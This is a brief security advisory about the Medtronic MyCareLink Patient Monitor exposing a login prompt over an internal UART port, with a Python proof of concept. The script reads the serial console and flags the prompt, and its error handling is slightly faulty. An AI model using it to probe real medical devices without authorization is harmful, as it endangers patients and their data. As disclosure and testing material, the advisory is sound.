Medtronic MyCareLink Patient Monitor has an internal serial interface, which allows an attacker with physical access to access a login prompt via a UART terminal.
The following code is for security research and authorized testing only.
python
import serial
import time
# This is a generic PoC for UART access
# Connect a TTL-USB adapter to the internal UART interface
# Usually requires identifying TX, RX, and GND pins
def connect_uart(port='/dev/ttyUSB0', baudrate=115200):
try:
ser = serial.Serial(port, baudrate, timeout=1)
print(f"Connected to {port} at {baudrate} baud.")
# Wait for boot or prompt
time.sleep(2)
while True:
if ser.in_waiting > 0:
line = ser.readline().decode('utf-8').strip()
print(f"<Output> {line}")
# Check for login prompt
if 'login:' in line.lower():
print("[!] Login prompt detected. Vulnerability confirmed.")
break
except Exception as e:
print(f"Error: {e}")
finally:
ser.close()
